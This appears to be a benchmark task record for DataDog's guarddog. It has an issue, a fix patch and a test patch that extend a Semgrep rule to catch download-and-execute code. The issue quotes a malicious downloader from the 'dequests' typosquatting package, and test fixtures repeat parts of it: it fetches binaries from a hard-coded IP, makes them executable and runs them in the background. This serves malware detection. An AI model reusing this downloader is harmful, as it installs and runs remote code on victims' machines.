Repository: DataDog/guarddog (language: python)

Issue:
Heuristic: "download-binary" should catch "dequests" package
Code:

```
    for executable in all_executables:
        url = f'http://35.235.126.33/{executable}'
        req = requests.get(url)
        with open(executable, 'wb') as f:
            f.write(req.content)

        if 'linux' in operating_system or 'darwin' in operating_system:
            os.system(f'chmod +x {executable}')

        if 'linux' in operating_system:
            os.system(f'./{executable} &')
        elif 'darwin' in operating_system:
            os.system(f'./{executable} &')
        elif 'windows' in operating_system:
            os.system(f'start /B {executable}')
```

https://blog.phylum.io/phylum-detects-active-typosquatting-campaign-in-pypi


Discussion / hints:

Fix patch:
diff --git a/guarddog/analyzer/sourcecode/download-executable.yml b/guarddog/analyzer/sourcecode/download-executable.yml
index feeef1c5..c3e86823 100644
--- a/guarddog/analyzer/sourcecode/download-executable.yml
+++ b/guarddog/analyzer/sourcecode/download-executable.yml
@@ -10,24 +10,33 @@ rules:
       - patterns:
           - pattern-either:
               - pattern: |
-                  $FILE = open("$LOC", ...)
+                  $FILE = open($LOC, ...)
                   ...
                   $FILE.write($REQUEST)
                   ...
                   $CHANGE_PERMISSIONS
               - pattern: |
-                  with open("$LOC", ...) as $FILE:
+                  with open($LOC, ...) as $FILE:
                     ...
                     $FILE.write($REQUEST)
                   ...
                   $CHANGE_PERMISSIONS
+              - pattern: |
+                  open($LOC, ...).write($REQUEST)
+                  ...
+                  $CHANGE_PERMISSIONS
           - metavariable-pattern:
               metavariable: $CHANGE_PERMISSIONS
               pattern-either:
                 - pattern: os.chmod("$LOC", 777)
+                - pattern: os.chmod($LOC, 777)
                 - pattern: os.chmod("$LOC", <...stat.S_IEXEC...>)
+                - pattern: os.chmod($LOC, <...stat.S_IEXEC...>)
                 - pattern: chmod("$LOC", 777)
+                - pattern: chmod($LOC, 777)
                 - pattern: chmod("$LOC", <...stat.S_IEXEC...>)
+                - pattern: chmod($LOC, <...stat.S_IEXEC...>)
+                - pattern: os.system(f"...{$LOC}...")
     pattern-sources:
       - pattern: (...).send(...)
       - pattern: send(...)
@@ -37,4 +46,5 @@ rules:
       - pattern: urlopen(...)
       - pattern: (...).getresponse(...)
       - pattern: getresponse(...)
-    severity: WARNING
+      - pattern: requests.$FUNC(...)
+    severity: WARNING
\ No newline at end of file


Test patch:
diff --git a/tests/analyzer/sourcecode/download-executable.py b/tests/analyzer/sourcecode/download-executable.py
index de18ab18..71baef14 100644
--- a/tests/analyzer/sourcecode/download-executable.py
+++ b/tests/analyzer/sourcecode/download-executable.py
@@ -47,3 +47,27 @@
         colmar.write(narcohypnosis)
     os.chmod("/tmp/reloan", 777)
     subprocess.call("/tmp/reloan")
+
+""" RULEID: Detect requests
+"""
+url = 'http://35.235.126.33/executable.exe'
+req = requests.get(url)
+# ruleid: download-executable
+with open(executable, 'wb') as f:
+    f.write(req.content)
+if 'linux' in operating_system or 'darwin' in operating_system:
+    os.system(f"chmod +x {executable}")
+
+""" RULEID: Simple download + file creation
+"""
+response = requests.get(URL)
+# ruleid: download-executable
+open(executable1, "wb").write(response.content)
+os.system(f"chmod +x {executable1}")
+
+response = requests.get(URL)
+# ruleid: download-executable
+open(executable2, "wb").write(response.content)
+os.system(f'set __COMPACT_LAYER=RunAsInvoker | start +x {executable2}')
+
+